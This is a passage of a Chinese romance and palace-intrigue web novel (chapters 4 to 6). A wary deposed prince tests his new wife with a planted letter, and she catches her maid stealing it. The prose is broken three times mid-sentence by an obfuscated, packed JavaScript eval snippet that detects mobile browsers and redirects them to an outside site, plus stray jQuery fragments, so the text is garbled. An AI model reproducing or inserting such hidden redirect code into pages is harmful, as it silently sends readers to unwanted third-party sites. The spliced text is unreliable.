他目光深邃如寒潭,不辨喜怒,浑身散发森冷的气势,与江念棠面前温柔的模样判若两人。 借着微弱的烛光,江念棠在他眼中一览无余,她身体纤瘦,整个人缩在被子里团成一团,只占了床榻一小块地方。 她的脸深埋在那浓密的乌发之中,仿佛被夜色温柔地包裹着。 他无法窥见她的眼眸、鼻梁和双唇,唯有那一小块如瓷器般细腻白皙的脸颊,在乌丝的遮掩下若隐若现。几缕湿润的发丝紧贴在她的下颌,如同水墨画中的淡墨轻描,勾勒出一段柔美而含蓄的弧度。 江念棠几乎将整个人藏了起来。 昏暗的光线里,赵明斐视线在她身上放肆游走,最后陷入沉思。 她没有把毒药放入合卺酒中,而是趁着沐浴悄悄处理掉了,是怕他发现,还是故意做给他看。 思及此,赵明斐忽然俯身靠近,提起匕首直直刺向她的右脖颈。 一道劲风呼啸而过,吹乱了她鬓边的几缕墨发。 匕首停在她喉咙前堪堪一寸,只消轻轻一推便能刺入她的咽喉。 江念棠毫无所觉。 两人的距离贴得极近,赵明斐的鼻尖弥散着丝丝潮意。 他张开嘴无声在她耳边轻喃。 江念棠,幸会。 4. 第 4 章 转眼烟波洲前方的池塘中荷叶边开始微微泛黄,湖心不少荷花已经开败。 赵明斐一袭月白色窄袖长袍,手持狼毫游走在淡色宣纸上,寥寥数笔勾勒出残叶折枝。 身旁伺候的左思不解往外看:“窗外明明是碧叶,您怎么画枯荷?”他常常难以理解他家殿下的脑回路,好比现在对着夏天画秋天的景。 赵明斐不答,端起案几旁兰草青花纹茶盏抿了口,转而问道:“她最近如何?” 左思听明白主子说的是谁,啧了声:“这位江二小姐当真安分守己,整日里弄花栽草,偶尔会去到东边后山散步,暂时没有发现有人和她接头。” 安排在院子附近的数十个眼线愣是没用上。 赵明斐笑了下,笑意不达眼底:“这么沉得住气。” “可不是吗?”左思提起江念棠的忍耐力也不得不竖起大拇指:“她还嫌伺候的人多,让他们都先紧着殿下。” 江念棠的吃穿用度是按照真正被圈禁的标准,冷饭冷茶,旧屋陋器,分过去的宫人也都是老弱病残。 本以为娇养的小姐会叫苦连天,自乱阵脚,可她非但没有一句气急的话,还从犄角旮旯里寻了许多不知名的野花移栽到室内,每天不是在弄花,就是在看书,过得比殿下还闲适。 赵明斐唔了声,不予置评,将刚才画的东西卷起来,随手插进一旁的海水龙纹青花卷杠中。 书桌前立了一尊三脚祥云龙纹冰鉴,方形盖檐四周有水滴不断冒出,沿着纹路滴在下方的凹槽里。袅袅冰雾从铜盖上方冒出,借着湖面上的风送进内室,与荷叶清香混在一起,清凉舒适。 左思不理解:“殿下为何不直接处理掉她,亦或者看管起来便是,何须费心思在她身上?” 赵明斐另取一张宣纸铺在灰绒羊毡上,提笔作画,神情淡然。 “江家把她送进来打我的脸,我总不能白白挨一个耳光,正好用她当饵,钓出暗处的鱼。” 笔尖骤收,江念棠的睡颜被勾勒在纸上,栩栩如生。 * 晚夏的云梦阁掩在浓翠深处,蝉鸣织就的金线缠着素纱窗棂,漏进几缕烫人的光。 江念棠手持素色绢扇子放在胸前徐徐地摇,清风扫过脖颈间细细汗珠,腾起一片携桂花香气的清凉。 而江家跟来的陪嫁丫环青梅却没她那份自在怡然,抱怨道:“这里什么都没有,吃的饭菜要么冷的,要么馊的,床榻也硬邦邦。这炎炎夏日,咱们连一点冰都没有,蚊虫又多,我已经好久都没睡过一个整觉了。” 江府家大业大,稍微有点脸面的丫环们过得都不差,比小门小户的小姐们还强上三分。 江念棠笑着给她扇了扇风,安慰道:“心境自然凉。我散步时发现后山有驱蚊草,等会你跟我一起弄点回来放屋里。” 青梅无奈叹了口气。 西巷口堪比冷宫,她一下子没适应过来,看着江念棠平静自然的神色,纳闷她一个小姐怎么能受得了这样艰苦的生活。 然而她看见江念棠眼底青黑,眉眼间透着疲惫,又把疑问咽了回去。 早听说这位江二小姐最是能忍,或许她也和自己一样在熬日子罢了。 江念棠却觉得这里的日子比起江府来清闲舒服许多,不需要每日去江夫人那处晨昏定省后马不停蹄侍奉江大小姐,也不需要顶着烈阳到花园采花,最重要的是不用担心自己说错一句话,做错一点事就被打被罚。 新婚夜赵明斐对她有尊重却无亲近之意,江念棠闻弦歌而知雅意,识趣地龟缩在赵明斐给她划定的范围里,关起门来过自己的小日子。 嫁过来前,她心里对西巷口的日子就有所准备,唯一没想到的是赵明斐长得竟与顾焱有几分相似。 她一想到自己那夜认错了人,心中羞愧难堪,却也让她意识到自己对顾焱的死亡一直耿耿于怀,并不像表面上那般云淡风轻,以至于看到赵明斐时,失了态,丢了魂。 青梅点头答应,又开始每日的感叹:“大皇子真是个神仙般的人物,可惜了……” 青梅从前在江盈丹的院子里伺候,听说过不少赵明斐的事,她闲来无事时总喜欢说上一两句给江念棠听,譬如在春蒐秋狩夺得头彩,他的文章被大儒们夸赞字字珠玑,为人温文尔雅,对宫人关照有加。 这些事江念棠从前也听江盈丹说过一两句,然而彼时她离赵明斐这般云端之上的人物太遥远,仅是敷衍附和嫡姐两句,谁曾想世事变化无常,她如今成了他的妻。 “对了,大皇子的剑术也是一绝,听闻他曾于三千敌军中斩下贼首头颅而毫发无伤,引得举国震惊……” 江念棠摇扇的手微顿,他也擅使剑。 晚膳后,青梅吃坏了肚子,江念棠只能自己一个人扛着锄头去后山采药。 她身形纤弱,看似弱不禁风,实则体力不差,泅水攀树样样会一点,顾焱笑着说自己把一个大家闺秀带成野猴子了。 江念棠不到一刻钟就爬到山腰的位置,麻利将驱虫草连根拔起,又捎带了些野菊,打算一起带回去装点荒芜的院落。 回程的时候意外看见赵明斐朝她的方向走来,江念棠下意识躲入最近的大树后,想等他们走远再出来。 然而脚步声却在她回去的必经之路上停下,她听见赵明斐温和的嗓音:“开始吧。” 剑刃劈开空气,发出呼呼的锐利之声,如同夜风疾驰穿过密林。 他在练剑。 江念棠想到青梅说赵明斐剑术不凡,忍不住悄悄往外探出头,目光一下子就黏在赵明斐身上。 晚霞将天边染成绚烂的金红,余晖铺了一层在他天青色圆领窄袖长袍上,袍上绣着银线织就的祥云纹,随着剑势起落翻滚出灿金的浪花。 他手握长剑,背对着夕阳,看不清脸上的表情,余晖勾勒出他棱角分明的轮廓,挺拔如松的身姿。 暮色中,赵明斐挥剑的影子被无限拉长,与记忆中的剪影渐渐重合,最后融为一体。 江念棠看得出神,直到他们离开都没发现。她手里提着的东西忽然变得沉甸甸的,眼底涌起一股难以言喻的酸涩。 往后数十日,她跟着了魔似的,隔三差五跑到后山密林里偷看赵明斐练剑,他有时会跟人对剑,有时候自己练。 剑招时而灵动如风,轻盈似燕,时而雷霆万钧,气势磅礴,不懂武的她也能看出赵明斐剑术高超。 她不是没有在心底谴责过自己近乎偷窥的行为,每次看完离开江念棠都暗自发誓这是最后一次,然而等到第二天又像是忘掉自己下的决心,照常去提前蹲点。 赵明斐不是每天都会去练剑。 如果某日江念棠没有看见他,胸口像被挖空了一块似的,整夜都无法入眠,直到下次再看见赵明斐时才能填补空洞的心。 说来可笑,顾焱在时,江念棠总以怕被人发现为由,十次里有八次拒绝他邀请自己观剑。如今她却借助赵明斐妄图弥补未曾陪伴顾焱的时光。 她知道这样做不过是自欺欺人,但她已经没办法了。 自从顾焱的死讯传来,她几乎再也没睡过整夜的觉,一闭眼全是他的笑脸,笑着说要努力出人头地,十里红妆娶她的模样。 而在撞见赵明斐练剑的那天,她罕见一夜无梦。 她频繁出门引起青梅的疑惑,被她找了个理由搪塞过去。 这天,江念棠照常往后山走,刚走出院门就迎面撞上赵明斐。 江念棠对上他的视线,先是愣了下,转瞬变脸。 她被吓得后退几步,手中的锄头砰地掉在地上,发出一声巨响,心虚踢开锄头,眼神躲闪道:“殿下,您怎么来了?” 赵明斐体贴地装作没看见,掩唇轻笑:“来跟你说件事。” 江念棠心更虚了。 时隔月余,赵明斐再一次踏入云梦阁,发现完全大变样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405071|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云梦阁听起来大气,实则不过几间逼仄的旧屋连成一排,院内荒芜杂草丛生。 屋内阴暗潮湿,放置的家具大多是老物件,缺胳膊少腿的,还散发着陈旧的霉味,四周的窗户上还有不少大大小小的破洞,江念棠嫁进来的前两天才紧急收拾出来。 如今却大变样,小院外分门别类地种了许多花花草草,虽然都不是什么名贵的品种,却胜在搭配别出心裁,花草树木高低错落,疏密自然,看上去舒心畅快,生机盎然。 踏入屋内,赵明斐下意识眯了眯眼。 屋里的灯实在是太亮了,几乎照遍房子里的每一寸角落。 他环视四周,看见竹篾卷帘悬挂在每一扇窗户前,顶端各放一只香囊。 夜风一吹,淡淡的草药香落入屋内,味道清香宁人,与宫里夏日用的驱虫香囊味道一样。 屋里掉漆破损的家具要么用锦缎包裹住,要么放置花瓶遮挡,每一个花瓶里都插着小物件,有院子里的桂花,有不知名的野花,还有几缕垂柳。 最妙的当属屋里的灯罩,原本光秃秃的烛台围了六块方形的素布,每一面都画有不同图案,转起圈来在墙壁上投射出各种阴影,颇有趣味。 这些不起眼又廉价的装饰,让死气沉沉的屋子注入了奇妙的活力,看得出主人在用心装点。 赵明斐心想,她还真把这里当家了。 江念棠从进屋起就跟在赵明斐身侧,眼观鼻鼻观心一直没开口,看上去相当沉得住气,然而因为做了亏心事,内心忐忑不安。 他的一举一动在江念棠眼里似乎都别有用意,像在告诉她赶紧坦白。 赵明斐坐下后,伸手示意她也坐。 江念棠惴惴不安地略沾半点凳面,想着等会要如何圆过去,心里开始后悔自己的放纵,不该一次又一次跑到后山。 在他张口发出第一个字音瞬间,她的心几乎要从嗓子眼里跳出来,呼吸停滞。 “半月后是母后的生辰,她这次整寿邀请了全京城的内命妇,届时你应当要出席。” 江念棠呼吸微顺,艰涩地动了动喉咙,劫后余生般发出一个嗯字。 赵明斐被圈禁,但皇帝只下令他不得离开西巷口半步,她作为大皇子妃在重大的节日和家宴可以出席,以彰显皇室成员恭孝敦睦,和气致祥。 他好似没看出对面人的不对劲,继续道:“我从前在政事上颇有些独断专行,如今失了势,又是戴罪之身不能同你一道祝寿,你去了恐怕会被人刁难,不如称病告假?” 江念棠听过一点风声,龚州水患时还是太子的赵明斐强行要求地方世家豪绅开仓放粮救济灾民,为此还杀了几个阳奉阴违的官员,引得朝野一片哗然。 死的几个官员都是当地世族子弟,家族势力盘根错节,赵明斐却没有给他们一丝求情的机会,因而被言官上书滥用权力,藐视名门望族。 如今士族的权利过盛,有些稍微偏远的地方只知道当地望族,而不知皇帝,朝廷颁发的旨意需得他们点头才会被有效执行。端看江家敢擅自替换皇子妃的人选,皇帝睁一只眼闭一只眼就能窥见些许端倪。 赵明斐被罢黜,未尝不是皇帝安抚士族的手段。 江念棠感动他特地来给自己出主意,但不得不去,她心里记挂娘亲,一定要亲自去问问情况。 “谢殿下好意。”江念棠感激道:“只不过躲得了初一,躲不了十五,躲过皇后的生辰,还有皇上的万寿,总不能一直称病。再说,我背后还有江家,他们不敢把我怎么样。” 赵明斐:“既然你意已决,我也不再劝你。只是……” 江念棠面露疑惑,静等他的后文。 赵明斐身体微微前倾,眉眼含笑:“你以后不要躲在暗处看我练剑了,夏日林中多蛇虫鼠蚁,小心受伤。” “你要想看,下次可以光明正大看。” 江念棠蓦地脸颊通红,不敢直视他的眼睛。 5. 第 5 章 赵明斐连着三日派人来请她观剑。 江念棠哪好意思答应,推脱说自己要准备皇后寿辰一事,然而一天没见到他,心又变得空洞起来。 她找来笔墨纸砚,提笔作画,只是画技拙劣,纸上的人物不忍卒看,唯能看清他手持长剑,眉眼弯弯。 灯花陷落,屋内的光渐渐黯淡。 江念棠重新点上灯,将画晾干,折好,珍而重之藏进书册中。 这本不到一指厚的书不知不觉长高了半寸,而同样增厚的书不止一本,被整齐地堆在书架上。 悄无声息消失其中的一两本,也难以被察觉。 赵明斐耷拉着眼睑,随手翻了几页,发现没有他想要的东西后兴致缺缺地扔在一旁,懒散的眼神里透着淡淡的失望。 早在江念棠偷看的第一日,他就知道了。 原以为她是为了打探消息亦或者抓他的把柄才风雨无阻地在后山蹲点,于是他故意在练剑间隙与心腹谈论朝政,其中不乏大逆不道的言辞,明着把将把柄送到她眼前。 赵明斐想知道她传递消息的方法,谁曾想她只是单纯的来看他。 这样的爱慕实在稀松平常,赵明斐在做太子的时候不知道经历过多少。有些胆大的贵女甚至主动上前请他指点画作,也有像江念棠这般偷偷关注,不敢言明的。 “以后这种无关紧要的东西不用呈上来。”赵明斐淡淡命令左思把东西送回去。 内心冷嘲又是一个看上他这副虚伪做作皮囊的女人,无知浅薄。 江念棠与其他女人也没什么不同,不值得费心。 没见到赵明斐的第四天,江念棠实在是撑不住了。 若是从未见过赵明斐练剑的样子,她现在也不会如此难熬,好像有只蚂蚁爬进心里,不停走来走去,无论她画多少张画,亦或者抚摸多少次木簪都无法止住那股钻心的痒意。 但她找不出去见赵明斐的理由,更不可能在他挑明后再去偷看他练剑,正当她一筹莫展之际,青梅送来一个绝佳的借口。 “咱们去皇后的寿辰要送什么礼呀?”青梅苦着脸来问江念棠:“大皇子有没有跟您交代什么?” 赵明斐被废黜,东宫的私库尽皆被查封,西巷口只有维持生计的吃食和简单的用品,拿不出一件像样的贺礼。 江念棠记得她嫁进来时江府为了安抚她赔了不少嫁妆,里面有些东西还算贵重,她不清楚皇后的喜好,确实需要赵明斐掌掌眼。 “我去挑一两件,送去给大皇子瞧瞧。”江念棠雷厉风行去临时收拾的库房翻了翻,拿出两件压箱底的头面,其中有一套是她自己攒钱买的点翠掩鬓。 翠羽与翠玉打造的头饰华丽夺目,价值千金,一般在重大场合佩戴,譬如大婚。 江念棠望着鬓角垂落的十二道珍珠流苏,眼眸微黯,盯着看了半晌后果断交给青梅。 “殿下,江二小姐求见。”左思躬身回禀。 赵明斐眉头一挑,又听门外人道:“说是来向您请示皇后寿辰的贺礼。” 左思瞧见江念棠和她的丫环手里捧着的东西,暗暗咋舌。 江念棠的东西是他一手整理的,清楚知道她手里这两样东西的分量,几乎是她半个身家。 西巷口的清苦的生活还不知要过多久,未来的前途也未可知,她竟愿意拿出这样贵重的东西来替赵明斐送礼。 想到她前段时间日日偷窥赵明斐练剑,又画了无数张小像,对她的心思了然于胸。 江念棠大抵是对他家殿下动了情。 这也难怪。 赵明斐这样能力出众的人,即便是落魄,也有大把人愿意飞蛾扑火,在被废了太子之位后,依旧有人上赶着嫁给他。 其间大部分是抱着他会东山再起,好一举飞升枝头的女人。 但江念棠注定要失望,赵明斐的心中压根没有情爱之说。 赵明斐让左思放行。 江念棠踏入这座小院时皱了皱眉,院子里大片荒芜的地,墙角的树胡乱生长,枝条缭乱,透着一股颓败的气息。 进了殿,里头的家具寥寥无几,看着和云梦阁一般陈旧,不过好在干净整洁。 赵明斐坐在临川前的漆木书案后看书,乌黑的桌面悬挂了几支竹笔,他听见动静抬起头。 点墨似的眸直勾勾看过来,对着她露出一个温和的笑。 江念头愣在原地,半天没有回过神,直到跟进来的青梅扯了扯她的衣角,小声道:“大皇子妃,殿下叫你过去。” 她的脸蓦地腾起一片霞红,轻咬下唇,低头避开他的眼睛。 然而不等她走过去,赵明斐先一步来到跟前,顺手接过江念棠手中沉甸甸的托盘。 “先坐下。” 她听见赵明斐让青梅放下东西出去。 屋子里片刻后只剩下他们两人,一时间周围的空气都静止下来。 江念棠局促地交叠双手放在腿上,垂眸说明来意,“我不知皇后娘娘喜欢的样式,来请殿下帮我拿个章程。” 其实她大可以转交给左思,等最后的结果就行,不用亲自来。 赵明斐见识过的宝贝不计其数,一眼看出点翠头面的不凡,坠在流苏上的珠子颗颗饱满圆润,在黯淡的陋屋中闪烁着莹润的光,显得周围的家具愈发陈旧。 他对江念棠带进来的东西一清二楚,自然知道这东西的贵重之处,“我早已备好贺礼,忘了跟你说一声,是我的不是。”赵明斐把桌上的东西往江念棠处推了推,“这是你的陪嫁,怎好拿出来,等会拿回去收好。” 鲜亮的翠羽闯入江念棠的余光里,她偏过头躲开,"殿下准备送什么?" 赵明斐拿来一幅《八仙祝寿图》,八位神态各异的神仙腾云驾雾,手持不同的贺礼,看上去极为传神,简直跟活过来一样。 江念棠盯着画,夸赞道:“殿下画得真好。”与他相比,自己的画简直粗糙。 赵明斐眼眸微闪:“你喜欢画画?” 江念棠啊了声,如梦初醒般抬起头。 “我见你屋子里的灯罩上画了些……”赵明斐拧着眉,似乎在思考如何形容:“花?” 江念棠腾地一下红了脸,支吾道:“是些果子糕点之类的吃食。” 赵明斐扑哧一笑,而后掩唇道歉:“对不住,我没猜中是这个。” 他身穿浅草色圆领袍,头发仅用一根木簪固定,言行举止间没什么架子,说话的神态好像在与友人闲谈,十分平易近人。 笑起来的时候如春日暖风,明朗温润。 江念棠再一次不知不觉看入了迷。 赵明斐佯装没看见她炙热的、投入的眼神,温和道:“想学吗?我可以教你。” 时光像是在刹那间倒流。 江念棠仰头看着在树杈间灵活游走的少年,他像个猴子似的三两下爬到最顶端,摘下树上最大最红的桃子,他俯身露出一口白牙:“想学吗?我可以教你,这样你以后就能翻墙出来找我了!” 顾焱从小在山间泥地里长大,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405072|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多奇奇怪怪的技能,江念棠跟着学了不少。 “那就……麻烦殿下了。”江念棠理智上知道应该拒绝,但感情上却难以抵挡来见赵明斐的诱惑。 饮鸩止渴,但若是不饮下,她或许撑不到下一个日出。 赵明斐:“不麻烦,现在也什么可忙的事。明日用完早膳,我派人去请你。” 江念棠眼睛亮晶晶的,重重点了点头。 左思送江念棠出去的时候,看见她眼角飞扬,水光潋滟,樱粉色的唇瓣被挤压成一条线上的弧线,像夏日清晨含苞待放的菡萏,想盛开又拼命憋着,生怕被人看出此刻雀跃的心情。 但只要稍微有眼睛的人都能感受到她脸上洋溢的喜悦与激动。 左思目送她离开后重新进了内殿,赵明斐脸上的笑早已消失,他不说话的时候从内而外散发一股令人无法忽视的威压。 “这封信放在这里,等江念棠取走后看她交给了谁。”他收了笔,冷漠地看着信封上的“严珩一亲启”,里面的内容是告诉他不要再追查江南盐税一事,简直是他包庇贪官的铁证。 左思应喏。 * 翌日,天蒙蒙亮时江念棠就起身梳妆打扮,青梅照常拿来她平日里的素色裙衫。 她望着镜子里的自己,摇头拒绝:“去把那套海棠色的拿过来。” 青梅愣了下,转身翻找起来,因为压在箱底,废了不少功夫才找到。 江念棠趁着间隙自己梳了个单螺髻,用木簪固定住头顶。乌发细密顺滑,在脖颈上绕了半圈垂落在胸前,衬得小脸青涩纯真,看上去比实际年龄小了几岁。 等换上鲜亮的海棠色裙衫后,愈发白嫩动人,上半身披了件浅绿色宽袖短襦衣,腰间用较为深色的草绿束带系住,上宽下窄的勾勒出曼妙的身形,显得江念棠更加娇小。 青梅从没看过她穿得这样好看,整个人像三月的桃花般动人,尤其是她一双水灵灵的眼眸盯着人看时,勾人心魄。 “大皇子妃,换个珍珠簪吧。”青梅提议。 江念棠摇摇头:“这样就好。” 左思过来请人的时候,看见江念棠搬了个圆凳坐在屋外门檐下,她安静地望着院子里的花,眼神平静无波。 “殿下有请。”左思以为江念棠会兴奋得跳起来,结果她只是淡定起身,朝他颔首示意。 “烦请公公带路。” 一路上,三人俱是一路无话。 江念棠既没有打听赵明斐的喜好,也没有向他拉拢示好。 左思感到古怪,余光不经意扫过江念棠惹人怜惜的脸,漂亮的眼睛目视前方,宛如平静无波的古井,眸光淡漠照不进任何人的影子。 赵明斐在书房门口站着,松绿色的窄袖长袍显得他干练利落,宛如山林里最挺拔的松柏,让人一眼注意他。 他看见江念棠时,唇角微扬。 两人视线相触那一瞬,江念棠的眼睛在刹那间亮起来,像装了满天的繁星。 江念棠脚步越来越快,越来越快,几乎是飞奔过去。 左思和青梅完全赶不上她的脚步。 江念棠站在离赵明斐三步之遥,奔跑让她的胸口略微起伏,脸颊染上一层淡淡的胭红色。 她仰起头,笑如春花:“我来了。” 凝滞的古井仿佛被投下巨石,激起波澜壮阔的水花。 赵明斐一低头,热烈而灼人的眼神占据他所有的视线。 他奇怪地想,她是从什么时候开始如此爱他? 6. 第 6 章 简陋的屋子里多了一张浅木色书桌,放在黑漆书桌旁,新的比旧的小了一圈,也矮上三分,正适合江念棠的个子,上面已经妥帖备好一副新的笔墨纸砚。 江念棠走过去时发现靠近外面的两个桌角有明显的磨损,其中一个几乎被削平了棱角,显得滑稽可笑。 赵明斐顺着她的视线看过去,解释道:“条件有限,临时找了个桌子,你将就着用。” 江念棠半晌后眨了眨眼,脱口而出:“不将就,我也不是什么金贵的人。” 赵明斐轻笑一声,江念棠如梦惊醒。 “画画和写字一样,都是对笔的掌控,只不过画比字变化手法更多,更考验执笔者对墨的浓淡,干湿的精准拿捏。”赵明斐随手取来一支悬挂的笔。 笔已经被提前开好,笔头迅速吸满墨汁,变得饱满柔顺,从雪白变成浓黑只在眨眼之间。 他提笔按压,行云流水般勾勒出一位曼妙多姿的女子,乌黑的发被一支木簪挽起来,眉目温婉,清丽动人。 江念棠认出画里的是自己,脸颊上染了层红晕,旋即想起赵明斐擅丹青,低头看着如此传神的画作,心突突跳了起来。 她抑制住内心的激动,压低声线问:“殿下要教我画丹青?” 赵明斐闷笑一声,打趣道:“想什么呢?你得从基础学起,没学会走路就想着跑起来呀。” 他尾音上扬,带着刻意的亲昵。 江念棠却像被泼了一盆冷水,盯着自己的丹青图抿了抿唇道:“是我着急了。” 她的声音近乎呢喃,逐渐消失。 赵明斐低头正好看见她颊边的红晕还未消褪,嗓音轻柔,带着明显的羞赧,与当初他送给江盈丹那副丹青的反应如出一辙。 这种粗糙的丹青图赵明斐送出去不少,得到的贵女们无一不欢喜雀跃。她们一兴奋就会放松警惕,失去理智,为了讨好他,争先恐后说出许多不为人知的秘辛。 赵明斐相信江念棠也不例外。 果然,她抬起头看向他时眼睛里亮晶晶的,比日光还灼热:“请殿下赐教。” 左思端着东西进来的时候,正看见江念棠拿着笔,她一动不动地坐在案前,像个木头似的。笔因为长时间悬在空中,墨顺着笔尖一滴一滴落在纸上。 臻首往窗的方向偏,目光的终点是赵明斐俊秀的侧脸,她的眼睛好像黏在他身上一样,迸发极致的恋慕。 赵明斐低头专注地在写些什么,宛如察觉不到身旁如有实质的视线。 左思暗啧一声,故意咳嗽了声。 江念棠像受惊的鸟,急急转回来,看见纸上的一团墨后急忙找补,动作手忙脚乱地,最后涂成乱七八糟的一片黑。 头顶忽然响起一声叹息:“你以后可千万别说我教过你画画。” 江念棠尴尬得无地自容,“是我愚笨,学不会。” 忽然,赵明斐从身后握住她的手教她运笔,高大身形几乎将她整个人笼罩进他的怀里。 两人距离陡然靠近,他的鼻尖恰好落在她的颈窝上方,一呼一吸间,微热的吐息喷洒在肌肤表层,漾开一片痒意。 江念棠身体僵硬,呼吸微顿,浑身不自在。 “放松,笔握得太紧了。”赵明斐面色坦然,完全把江念棠当做一个平常的学生。 江念棠更僵了,手指像石头般不听使唤,几乎握不住笔杆。 赵明斐感受到她身体的变化,自然而然以为她在害羞,眸底浮起几分讥笑,握住她执笔的手迅速画出今日授课的墨竹。 一团糟的涂鸦经过赵明斐轻描淡写改造后彻底变样,一根竹拔地而起,有冲破云霄之势。 —— “她没去拿信?”赵明斐站在烟波洲的窗户前,神色冷淡:“连看也没看?” 今日左思以有事为由请赵明斐离开,就是为了给江念棠制造机会,谁曾想后面她竟真的埋头苦练起来,直到天蒙蒙黑才离开。 “兴许是没看见。”左思寻思着哪个小姐被他家殿下这么教一下,不得丢了魂,更何况江念棠本就喜欢赵明斐,说不准早默默已弃暗投明。 赵明斐对江念棠的喜欢毫不在意,冷笑了声:“明天务必让她‘看见’。” 翌日,江念棠照旧打扮了一番来见赵明斐,手里还提着单层圆形樏盒。 “我没什么可以报答殿下的,正巧云梦阁的院子里有棵桂花树,竟提前开了。”江念棠拿出点心,献宝似的放到赵明斐面前,笑吟吟道:“做了几块桂花糕,请您尝尝。” 糕点做成小兔子的形状,眼睛用两朵金灿灿的桂花点缀,煞是可爱逼真。 左思忽然出言:“哟,这点心看上去真精致,不知奴才能不能讨一块尝尝。” 江念棠笑容凝滞了下,看了眼赵明斐,他脸上带着浅笑,却没有阻止,突然想到什么,推到左思面前:“当然。” 左思寻了一双银筷子,夹住最上面的一只往嘴里放,艰难咽下去后开口道:“这也太甜了!” 立刻端起旁边的茶水灌了几大口,等那股齁甜的劲儿散去,他随口道:“皇子妃娘娘,殿下喜欢吃咸口的。” 江念棠的笑淡了下去,她伸手从里面拿起一只小白兔,轻轻咬了口含在嘴里,轻声道:“就是要这么甜才好吃。” 不等赵明斐品尝,她自个儿又拿起一块吃起来。 “我正好饿了。”江念棠低头道,声音有些低落:“下次再给殿下做别的。” 赵明斐笑着说好。 江念棠把带来的糕点尽数吃了干净,吃完后也没有喝一口茶,看得左思目瞪口呆,一度以为自己味觉出了问题。 而江念棠发现赵明斐自始至终都没有伸手去碰那叠点心。 今日学画,赵明斐给他画了个样式,又提点几句后就被叫出去处理事情,屋内只剩江念棠一个人在练习。 她练得格外认真,像发了疯一样,借此逼自己忘记今日愚蠢的决定,可收效甚微。 他们根本不是一个人。 江念棠气恼地丢下笔,眼前一片雾蒙蒙,窗外的风一吹,眼睛微凉,热雾也渐渐散去。 她重新拾起竹笔,一点一点临摹。 竹林下,一个人踮脚张望,他的五官还是歪七扭八的,看不出本来的模样。 江念棠闭了闭眼,视线不由自主地投向赵明斐的书桌,离她最远的边缘放着一封信,她认得上面的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405073|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾焱的直属上司,严珩一,亦是坠崖身亡的钦差大臣。 她起身走到窗前,拾起信看了半晌。 青梅突然闯进来,问她什么时候回云梦阁。 江念棠被吓了一跳,手中的信也因此飘落在地上。 赵明斐允许她进书房学画,但书房这样要紧的地方,江念棠自然知道要避嫌,故而每日都让青梅在外间耳房等候,等结束学习后再一同回云梦阁。 她自己也时刻注意分寸,从不乱翻东西,也不乱走,每日只在书桌前固定一小块地方活动。 江念棠对着她皱了皱眉,“你怎么进来了?” 青梅没心没肺道:“天暗了,再不回去小心迷路,我有点怕黑。” 西巷口是废殿建筑群,宫殿之间间隔遥远,路上也没有灯。地广人稀,在夜里行走时林风穿心而过,冷得叫人发慌,总觉得暗处藏着什么东西,随时把人抓进去。 江念棠看了眼天色,发现远处皇宫内已经点了灯,天边浮起一层微微的黄晕,显得西巷口愈发黑沉。 “我去跟殿下说一声。” 江念棠绕过书桌,俯身要去捡信,青梅先一步拿到手上,眼睛直勾勾盯着上面的字。江念棠去抽她手里的东西时发现有股力量在阻止,不由多看了青梅一眼。 青梅好奇问:“这是什么?” 江念棠把信放回原位,拿起一旁的天青色莲花纹镇纸压住信上的字,淡淡道:“殿下闲来无事写的诗词罢了。” 青梅哦了声,毫不在意地催促江念棠回去,嘴里嚷嚷着饿死了。 赵明斐直到江念棠离开都没现身。 夤夜时分,更深露重,夜风呼呼地吹,像山林咆哮的野兽。 赵明斐的书房被风吹开一条缝,逐渐变大,一个人影钻进去没一会儿功夫就跑了出来,鬼鬼祟祟绕过回廊往院外走,这人边走边回头,生怕被发现。 荒芜的院落黑漆漆,静悄悄的,连虫鸣鸟叫声都没有,风吹在门窗上,发出刺耳的摩擦声,像索命的厉鬼在嘶嚎,阴森可怖。 突然,有道柔柔的声音响起。 “青梅,这么晚,你不睡觉出来做什么?” 人影先是一愣,等反应过来要先发制人时,她后颈传来剧痛,在意识丧失前一刻,她看见江念棠冷漠地拿着竹棍。 江念棠以防万一又补了一棍,确认人已经晕死过去后蹲下来摸黑搜身,在青梅的胸前衣领找到了那封未封口的信。 她顿了顿,又把东西塞回去,拿出提前准备好的粗绳把她捆住,最后连人带信一起扔进书房。 江念棠在赵明斐的书房坐了一夜,直到第二天清晨赵明斐走近来,她把青梅潜入偷信一事原原本本告诉他。 赵明斐扫了眼地上还未清醒的婢女,她头顶肿了个明显的鼓包,半是玩笑半是试探地问:“你看着手无缚鸡之力,怎么下手这么狠。” 江念棠垂眸道:“因为她想要害殿下。” 复又抬头,直视赵明斐的眼睛。 “我决不允许。” 